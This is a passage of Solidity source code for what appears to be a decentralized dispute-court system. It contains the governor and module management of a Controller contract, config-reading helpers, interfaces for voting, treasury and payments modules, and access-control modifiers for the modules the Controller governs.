to plug/unplug modules from the system } /** * @dev Module information */ struct Module { bytes32 id; // ID associated to a module bool disabled; // Whether the module is disabled } // Governor addresses of the system Governor private governor; // List of current modules registered for the system indexed by ID mapping (bytes32 => address) internal currentModules; // List of all historical modules registered for the system indexed by address mapping (address => Module) internal allModules; // List of custom function targets indexed by signature mapping (bytes4 => address) internal customFunctions; event ModuleSet(bytes32 id, address addr); event ModuleEnabled(bytes32 id, address addr); event ModuleDisabled(bytes32 id, address addr); event CustomFunctionSet(bytes4 signature, address target); event FundsGovernorChanged(address previousGovernor, address currentGovernor); event ConfigGovernorChanged(address previousGovernor, address currentGovernor); event ModulesGovernorChanged(address previousGovernor, address currentGovernor); /** * @dev Ensure the msg.sender is the funds governor */ modifier onlyFundsGovernor { require(msg.sender == governor.funds, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyConfigGovernor { require(msg.sender == governor.config, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyModulesGovernor { require(msg.sender == governor.modules, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the given dispute manager is active */ modifier onlyActiveDisputeManager(IDisputeManager _disputeManager) { require(!_isModuleDisabled(address(_disputeManager)), ERROR_DISPUTE_MANAGER_NOT_ACTIVE); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) * @param _governors Array containing: * 0. _fundsGovernor Address of the funds governor * 1. _configGovernor Address of the config governor * 2. _modulesGovernor Address of the modules governor * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( uint64[2] memory _termParams, address[3] memory _governors, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public CourtClock(_termParams) CourtConfig(_feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance) { _setFundsGovernor(_governors[0]); _setConfigGovernor(_governors[1]); _setModulesGovernor(_governors[2]); } /** * @dev Fallback function allows to forward calls to a specific address in case it was previously registered * Note the sender will be always the controller in case it is forwarded */ function () external payable { address target = customFunctions[msg.sig]; require(target != address(0), ERROR_CUSTOM_FUNCTION_NOT_SET); // solium-disable-next-line security/no-call-value (bool success,) = address(target).call.value(msg.value)(msg.data); assembly { let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) let result := success switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } /** * @notice Change Court configuration params * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function setConfig( uint64 _fromTermId, IERC20 _feeToken, uint256[3] calldata _fees, uint64[5] calldata _roundStateDurations, uint16[2] calldata _pcts, uint64[4] calldata _roundParams, uint256[2] calldata _appealCollateralParams, uint256 _minActiveBalance ) external onlyConfigGovernor { uint64 currentTermId = _ensureCurrentTerm(); _setConfig( currentTermId, _fromTermId, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @notice Delay the Court start time to `_newFirstTermStartTime` * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function delayStartTime(uint64 _newFirstTermStartTime) external onlyConfigGovernor { _delayStartTime(_newFirstTermStartTime); } /** * @notice Change funds governor address to `_newFundsGovernor` * @param _newFundsGovernor Address of the new funds governor to be set */ function changeFundsGovernor(address _newFundsGovernor) external onlyFundsGovernor { require(_newFundsGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setFundsGovernor(_newFundsGovernor); } /** * @notice Change config governor address to `_newConfigGovernor` * @param _newConfigGovernor Address of the new config governor to be set */ function changeConfigGovernor(address _newConfigGovernor) external onlyConfigGovernor { require(_newConfigGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setConfigGovernor(_newConfigGovernor); } /** * @notice Change modules governor address to `_newModulesGovernor` * @param _newModulesGovernor Address of the new governor to be set */ function changeModulesGovernor(address _newModulesGovernor) external onlyModulesGovernor { require(_newModulesGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setModulesGovernor(_newModulesGovernor); } /** * @notice Remove the funds governor. Set the funds governor to the zero address. * @dev This action cannot be rolled back, once the funds governor has been unset, funds cannot be recovered from recoverable modules anymore */ function ejectFundsGovernor() external onlyFundsGovernor { _setFundsGovernor(ZERO_ADDRESS); } /** * @notice Remove the modules governor. Set the modules governor to the zero address. * @dev This action cannot be rolled back, once the modules governor has been unset, system modules cannot be changed anymore */ function ejectModulesGovernor() external onlyModulesGovernor { _setModulesGovernor(ZERO_ADDRESS); } /** * @notice Grant `_id` role to `_who` * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function grant(bytes32 _id, address _who) external onlyConfigGovernor { _grant(_id, _who); } /** * @notice Revoke `_id` role from `_who` * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function revoke(bytes32 _id, address _who) external onlyConfigGovernor { _revoke(_id, _who); } /** * @notice Freeze `_id` role * @param _id ID of the role to be frozen */ function freeze(bytes32 _id) external onlyConfigGovernor { _freeze(_id); } /** * @notice Enact a bulk list of ACL operations */ function bulk(BulkOp[] calldata _op, bytes32[] calldata _id, address[] calldata _who) external onlyConfigGovernor { _bulk(_op, _id, _who); } /** * @notice Set module `_id` to `_addr` * @param _id ID of the module to be set * @param _addr Address of the module to be set */ function setModule(bytes32 _id, address _addr) external onlyModulesGovernor { _setModule(_id, _addr); } /** * @notice Set and link many modules at once * @param _newModuleIds List of IDs of the new modules to be set * @param _newModuleAddresses List of addresses of the new modules to be set * @param _newModuleLinks List of IDs of the modules that will be linked in the new modules being set * @param _currentModulesToBeSynced List of addresses of current modules to be re-linked to the new modules being set */ function setModules( bytes32[] calldata _newModuleIds, address[] calldata _newModuleAddresses, bytes32[] calldata _newModuleLinks, address[] calldata _currentModulesToBeSynced ) external onlyModulesGovernor { // We only care about the modules being set, links are optional require(_newModuleIds.length == _newModuleAddresses.length, ERROR_INVALID_IMPLS_INPUT_LENGTH); // First set the addresses of the new modules or the modules to be updated for (uint256 i = 0; i < _newModuleIds.length; i++) { _setModule(_newModuleIds[i], _newModuleAddresses[i]); } // Then sync the links of the new modules based on the list of IDs specified (ideally the IDs of their dependencies) _syncModuleLinks(_newModuleAddresses, _newModuleLinks); // Finally sync the links of the existing modules to be synced to the new modules being set _syncModuleLinks(_currentModulesToBeSynced, _newModuleIds); } /** * @notice Sync modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules included in the sync */ function syncModuleLinks(address[] calldata _modulesToBeSynced, bytes32[] calldata _idsToBeSet) external onlyModulesGovernor { require(_idsToBeSet.length > 0 && _modulesToBeSynced.length > 0, ERROR_INVALID_IMPLS_INPUT_LENGTH); _syncModuleLinks(_modulesToBeSynced, _idsToBeSet); } /** * @notice Disable module `_addr` * @dev Current modules can be disabled to allow pausing the court. However, these can be enabled back again, see `enableModule` * @param _addr Address of the module to be disabled */ function disableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(!module.disabled, ERROR_MODULE_ALREADY_DISABLED); module.disabled = true; emit ModuleDisabled(module.id, _addr); } /** * @notice Enable module `_addr` * @param _addr Address of the module to be enabled */ function enableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(module.disabled, ERROR_MODULE_ALREADY_ENABLED); module.disabled = false; emit ModuleEnabled(module.id, _addr); } /** * @notice Set custom function `_sig` for `_target` * @param _sig Signature of the function to be set * @param _target Address of the target implementation to be registered for the given signature */ function setCustomFunction(bytes4 _sig, address _target) external onlyModulesGovernor { customFunctions[_sig] = _target; emit CustomFunctionSet(_sig, _target); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getConfigAt(_termId, lastEnsuredTermId); } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getDraftConfig(_termId, lastEnsuredTermId); } /** * @dev Tell the min active balance config at a certain term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getMinActiveBalance(_termId, lastEnsuredTermId); } /** * @dev Tell the address of the funds governor * @return Address of the funds governor */ function getFundsGovernor() external view returns (address) { return governor.funds; } /** * @dev Tell the address of the config governor * @return Address of the config governor */ function getConfigGovernor() external view returns (address) { return governor.config; } /** * @dev Tell the address of the modules governor * @return Address of the modules governor */ function getModulesGovernor() external view returns (address) { return governor.modules; } /** * @dev Tell if a given module is active * @param _id ID of the module to be checked * @param _addr Address of the module to be checked * @return True if the given module address has the requested ID and is enabled */ function isActive(bytes32 _id, address _addr) external view returns (bool) { Module storage module = allModules[_addr]; return module.id == _id && !module.disabled; } /** * @dev Tell the current ID and disable status of a module based on a given address * @param _addr Address of the requested module * @return id ID of the module being queried * @return disabled Whether the module has been disabled */ function getModuleByAddress(address _addr) external view returns (bytes32 id, bool disabled) { Module storage module = allModules[_addr]; id = module.id; disabled = module.disabled; } /** * @dev Tell the current address and disable status of a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function getModule(bytes32 _id) external view returns (address addr, bool disabled) { return _getModule(_id); } /** * @dev Tell the information for the current DisputeManager module * @return addr Current address of the DisputeManager module * @return disabled Whether the module has been disabled */ function getDisputeManager() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_DISPUTE_MANAGER); } /** * @dev Tell the information for the current GuardiansRegistry module * @return addr Current address of the GuardiansRegistry module * @return disabled Whether the module has been disabled */ function getGuardiansRegistry() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_GUARDIANS_REGISTRY); } /** * @dev Tell the information for the current Voting module * @return addr Current address of the Voting module * @return disabled Whether the module has been disabled */ function getVoting() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_VOTING); } /** * @dev Tell the information for the current PaymentsBook module * @return addr Current address of the PaymentsBook module * @return disabled Whether the module has been disabled */ function getPaymentsBook() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_PAYMENTS_BOOK); } /** * @dev Tell the information for the current Treasury module * @return addr Current address of the Treasury module * @return disabled Whether the module has been disabled */ function getTreasury() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_TREASURY); } /** * @dev Tell the target registered for a custom function * @param _sig Signature of the function being queried * @return Address of the target where the function call will be forwarded */ function getCustomFunction(bytes4 _sig) external view returns (address) { return customFunctions[_sig]; } /** * @dev Internal function to set the address of the funds governor * @param _newFundsGovernor Address of the new config governor to be set */ function _setFundsGovernor(address _newFundsGovernor) internal { emit FundsGovernorChanged(governor.funds, _newFundsGovernor); governor.funds = _newFundsGovernor; } /** * @dev Internal function to set the address of the config governor * @param _newConfigGovernor Address of the new config governor to be set */ function _setConfigGovernor(address _newConfigGovernor) internal { emit ConfigGovernorChanged(governor.config, _newConfigGovernor); governor.config = _newConfigGovernor; } /** * @dev Internal function to set the address of the modules governor * @param _newModulesGovernor Address of the new modules governor to be set */ function _setModulesGovernor(address _newModulesGovernor) internal { emit ModulesGovernorChanged(governor.modules, _newModulesGovernor); governor.modules = _newModulesGovernor; } /** * @dev Internal function to set an address as the current implementation for a module * Note that the disabled condition is not affected, if the module was not set before it will be enabled by default * @param _id Id of the module to be set * @param _addr Address of the module to be set */ function _setModule(bytes32 _id, address _addr) internal { require(isContract(_addr), ERROR_IMPLEMENTATION_NOT_CONTRACT); currentModules[_id] = _addr; allModules[_addr].id = _id; emit ModuleSet(_id, _addr); } /** * @dev Internal function to sync the modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules to be linked */ function _syncModuleLinks(address[] memory _modulesToBeSynced, bytes32[] memory _idsToBeSet) internal { address[] memory addressesToBeSet = new address[](_idsToBeSet.length); // Load the addresses associated with the requested module ids for (uint256 i = 0; i < _idsToBeSet.length; i++) { address moduleAddress = _getModuleAddress(_idsToBeSet[i]); Module storage module = allModules[moduleAddress]; _ensureModuleExists(module); addressesToBeSet[i] = moduleAddress; } // Update the links of all the requested modules for (uint256 j = 0; j < _modulesToBeSynced.length; j++) { IModulesLinker(_modulesToBeSynced[j]).linkModules(_idsToBeSet, addressesToBeSet); } } /** * @dev Internal function to notify when a term has been transitioned * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal { _ensureTermConfig(_termId); } /** * @dev Internal function to check if a module was set * @param _module Module to be checked */ function _ensureModuleExists(Module storage _module) internal view { require(_module.id != bytes32(0), ERROR_MODULE_NOT_SET); } /** * @dev Internal function to tell the information for a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function _getModule(bytes32 _id) internal view returns (address addr, bool disabled) { addr = _getModuleAddress(_id); disabled = _isModuleDisabled(addr); } /** * @dev Tell the current address for a module by ID * @param _id ID of the module being queried * @return Current address of the requested module */ function _getModuleAddress(bytes32 _id) internal view returns (address) { return currentModules[_id]; } /** * @dev Tell whether a module is disabled * @param _addr Address of the module being queried * @return True if the module is disabled, false otherwise */ function _isModuleDisabled(address _addr) internal view returns (bool) { return allModules[_addr].disabled; } } contract ConfigConsumer is CourtConfigData { /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig); /** * @dev Internal function to get the Court config for a certain term * @param _termId Identification number of the term querying the Court config of * @return Court config for the given term */ function _getConfigAt(uint64 _termId) internal view returns (Config memory) { (IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance) = _courtConfig().getConfig(_termId); Config memory config; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _roundParams[2], finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; return config; } /** * @dev Internal function to get the draft config for a given term * @param _termId Identification number of the term querying the draft config of * @return Draft config for the given term */ function _getDraftConfig(uint64 _termId) internal view returns (DraftConfig memory) { (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) = _courtConfig().getDraftConfig(_termId); return DraftConfig({ feeToken: feeToken, draftFee: draftFee, penaltyPct: penaltyPct }); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of guardian tokens that can be activated */ function _getMinActiveBalance(uint64 _termId) internal view returns (uint256) { return _courtConfig().getMinActiveBalance(_termId); } } /* * SPDX-License-Identifier: MIT */ interface ICRVotingOwner { /** * @dev Ensure votes can be committed for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for */ function ensureCanCommit(uint256 _voteId) external; /** * @dev Ensure a certain voter can commit votes for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of */ function ensureCanCommit(uint256 _voteId, address _voter) external; /** * @dev Ensure a certain voter can reveal votes for vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of * @return Weight of the requested guardian for the requested vote instance */ function ensureCanReveal(uint256 _voteId, address _voter) external returns (uint64); } /* * SPDX-License-Identifier: MIT */ interface ICRVoting { /** * @dev Create a new vote instance * @dev This function can only be called by the CRVoting owner * @param _voteId ID of the new vote instance to be created * @param _possibleOutcomes Number of possible outcomes for the new vote instance to be created */ function createVote(uint256 _voteId, uint8 _possibleOutcomes) external; /** * @dev Get the winning outcome of a vote instance * @param _voteId ID of the vote instance querying the winning outcome of * @return Winning outcome of the given vote instance or refused in case it's missing */ function getWinningOutcome(uint256 _voteId) external view returns (uint8); /** * @dev Get the tally of an outcome for a certain vote instance * @param _voteId ID of the vote instance querying the tally of * @param _outcome Outcome querying the tally of * @return Tally of the outcome being queried for the given vote instance */ function getOutcomeTally(uint256 _voteId, uint8 _outcome) external view returns (uint256); /** * @dev Tell whether an outcome is valid for a given vote instance or not * @param _voteId ID of the vote instance to check the outcome of * @param _outcome Outcome to check if valid or not * @return True if the given outcome is valid for the requested vote instance, false otherwise */ function isValidOutcome(uint256 _voteId, uint8 _outcome) external view returns (bool); /** * @dev Get the outcome voted by a voter for a certain vote instance * @param _voteId ID of the vote instance querying the outcome of * @param _voter Address of the voter querying the outcome of * @return Outcome of the voter for the given vote instance */ function getVoterOutcome(uint256 _voteId, address _voter) external view returns (uint8); /** * @dev Tell whether a voter voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to query if a voter voted in favor of a certain outcome * @param _outcome Outcome to query if the given voter voted in favor of * @param _voter Address of the voter to query if voted in favor of the given outcome * @return True if the given voter voted in favor of the given outcome, false otherwise */ function hasVotedInFavorOf(uint256 _voteId, uint8 _outcome, address _voter) external view returns (bool); /** * @dev Filter a list of voters based on whether they voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to be checked * @param _outcome Outcome to filter the list of voters of * @param _voters List of addresses of the voters to be filtered * @return List of results to tell whether a voter voted in favor of the given outcome or not */ function getVotersInFavorOf(uint256 _voteId, uint8 _outcome, address[] calldata _voters) external view returns (bool[] memory); } /* * SPDX-License-Identifier: MIT */ interface ITreasury { /** * @dev Assign a certain amount of tokens to an account * @param _token ERC20 token to be assigned * @param _to Address of the recipient that will be assigned the tokens to * @param _amount Amount of tokens to be assigned to the recipient */ function assign(IERC20 _token, address _to, uint256 _amount) external; /** * @dev Withdraw a certain amount of tokens * @param _token ERC20 token to be withdrawn * @param _from Address withdrawing the tokens from * @param _to Address of the recipient that will receive the tokens * @param _amount Amount of tokens to be withdrawn from the sender */ function withdraw(IERC20 _token, address _from, address _to, uint256 _amount) external; } /* * SPDX-License-Identifier: MIT */ interface IPaymentsBook { /** * @dev Pay an amount of tokens * @param _token Address of the token being paid * @param _amount Amount of tokens being paid * @param _payer Address paying on behalf of * @param _data Optional data */ function pay(address _token, uint256 _amount, address _payer, bytes calldata _data) external payable; } contract Controlled is IModulesLinker, IsContract, ModuleIds, ConfigConsumer { string private constant ERROR_MODULE_NOT_SET = "CTD_MODULE_NOT_SET"; string private constant ERROR_INVALID_MODULES_LINK_INPUT = "CTD_INVALID_MODULES_LINK_INPUT"; string private constant ERROR_CONTROLLER_NOT_CONTRACT = "CTD_CONTROLLER_NOT_CONTRACT"; string private constant ERROR_SENDER_NOT_ALLOWED = "CTD_SENDER_NOT_ALLOWED"; string private constant ERROR_SENDER_NOT_CONTROLLER = "CTD_SENDER_NOT_CONTROLLER"; string private constant ERROR_SENDER_NOT_CONFIG_GOVERNOR = "CTD_SENDER_NOT_CONFIG_GOVERNOR"; string private constant ERROR_SENDER_NOT_ACTIVE_VOTING = "CTD_SENDER_NOT_ACTIVE_VOTING"; string private constant ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER = "CTD_SEND_NOT_ACTIVE_DISPUTE_MGR"; string private constant ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER = "CTD_SEND_NOT_CURRENT_DISPUTE_MGR"; // Address of the controller Controller public controller; // List of modules linked indexed by ID mapping (bytes32 => address) public linkedModules; event ModuleLinked(bytes32 id, address addr); /** * @dev Ensure the msg.sender is the controller's config governor */ modifier onlyConfigGovernor { require(msg.sender == _configGovernor(), ERROR_SENDER_NOT_CONFIG_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the controller */ modifier onlyController() { require(msg.sender == address(controller), ERROR_SENDER_NOT_CONTROLLER); _; } /** * @dev Ensure the msg.sender is an active DisputeManager module */ modifier onlyActiveDisputeManager() { require(controller.isActive(MODULE_ID_DISPUTE_MANAGER, msg.sender), ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is the current DisputeManager module */ modifier onlyCurrentDisputeManager() { (address addr, bool disabled) = controller.getDisputeManager(); require(msg.sender == addr, ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER); require(!disabled, ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is an active Voting module */ modifier onlyActiveVoting() { require(controller.isActive(MODULE_ID_VOTING, msg.sender), ERROR_SENDER_NOT_ACTIVE_VOTING); _; } /** * @dev This modifier will check that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ modifier authenticateSender(address _user) { _authenticateSender(_user); _; } /** * @dev Constructor function * @param _controller Address of the controller */ constructor(Controller _controller) public { require(isContract(address(_controller)), ERROR_CONTROLLER_NOT_CONTRACT); controller = _controller; } /** * @notice Update the implementation links of a list of modules * @dev The controller is expected to ensure the given addresses are correct modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external onlyController { require(_ids.length == _addresses.length, ERROR_INVALID_MODULES_LINK_INPUT); for (uint256 i = 0; i < _ids.length; i++) { linkedModules[_ids[i]] = _addresses[i]; emit ModuleLinked(_ids[i], _addresses[i]); } } /** * @dev Internal function to ensure the Court term is up-to-date, it will try to update it if not * @return Identification number of the current Court term */ function _ensureCurrentTerm() internal returns (uint64) { return _clock().ensureCurrentTerm(); } /** * @dev Internal function to fetch the last ensured term ID of the Court * @return Identification number of the last ensured term */ function _getLastEnsuredTermId() internal view returns (uint64) { return _clock().getLastEnsuredTermId(); } /** * @dev Internal function to tell the current term identification number * @return Identification number of the current term */ function _getCurrentTermId() internal view returns (uint64) { return _clock().getCurrentTermId(); } /** * @dev Internal function to fetch the controller's config governor * @return Address of the controller's config governor */ function _configGovernor() internal view returns (address) { return controller.getConfigGovernor(); } /** * @dev Internal function to fetch the address of the DisputeManager module * @return Address of the DisputeManager module */ function _disputeManager() internal view returns (IDisputeManager) { return IDisputeManager(_getLinkedModule(MODULE_ID_DISPUTE_MANAGER)); } /** * @dev Internal function to fetch the address of the GuardianRegistry module implementation * @return Address of the GuardianRegistry module implementation */ function _guardiansRegistry() internal view returns (IGuardiansRegistry) { return IGuardiansRegistry(_getLinkedModule(MODULE_ID_GUARDIANS_REGISTRY)); } /** * @dev Internal function to fetch the address of the Voting module implementation * @return Address of the Voting module implementation */ function _voting() internal view returns (ICRVoting) { return ICRVoting(_getLinkedModule(MODULE_ID_VOTING)); } /** * @dev Internal function to fetch the address of the PaymentsBook module implementation * @return Address of the PaymentsBook module implementation */ function _paymentsBook() internal view returns (IPaymentsBook) { return IPaymentsBook(_getLinkedModule(MODULE_ID_PAYMENTS_BOOK)); } /** * @dev Internal function to fetch the address of the Treasury module implementation * @return Address of the Treasury module implementation */ function _treasury() internal view returns (ITreasury) { return ITreasury(_getLinkedModule(MODULE_ID_TREASURY)); } /** * @dev Internal function to tell the address linked for a module based on a given ID * @param _id ID of the module being queried * @return Linked address of the requested module */ function _getLinkedModule(bytes32 _id) internal view returns (address) { address module = linkedModules[_id]; require(module != address(0), ERROR_MODULE_NOT_SET); return module; } /** * @dev Internal function to fetch the address of the Clock module from the controller * @return Address of the Clock module */ function _clock() internal view returns (IClock) { return IClock(controller); } /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig) { return IConfig(controller); } /** * @dev Ensure that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ function _authenticateSender(address _user) internal view { require(_isSenderAllowed(_user), ERROR_SENDER_NOT_ALLOWED); } /** * @dev Tell whether the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of * @return True if the sender is the user to act on behalf of or someone with the required permission, false otherwise */ function _isSenderAllowed(address _user) internal view returns (bool) { return msg.sender == _user || _hasRole(msg.sender); } /** * @dev Tell whether an address holds the required permission to access the requested functionality * @param _addr Address being checked * @return True if the given address has the required permission to access the requested functionality, false otherwise */ function _hasRole(address _addr) internal view returns (bool) { bytes32 roleId = keccak256(abi.encodePacked(address(this), msg.sig)); return controller.hasRole(_addr, roleId); } } contract ControlledRecoverable is Controlled { using SafeERC20 for IERC20; string private constant ERROR_SENDER_NOT_FUNDS_GOVERNOR = "CTD_SENDER_NOT_FUNDS_GOVERNOR"; string private constant ERROR_INSUFFICIENT_RECOVER_FUNDS = "CTD_INSUFFICIENT_RECOVER_FUNDS"; string private constant ERROR_RECOVER_TOKEN_FUNDS_FAILED = "CTD_RECOVER_TOKEN_FUNDS_FAILED"; event RecoverFunds(address token, address recipient, uint256 balance); /** * @dev 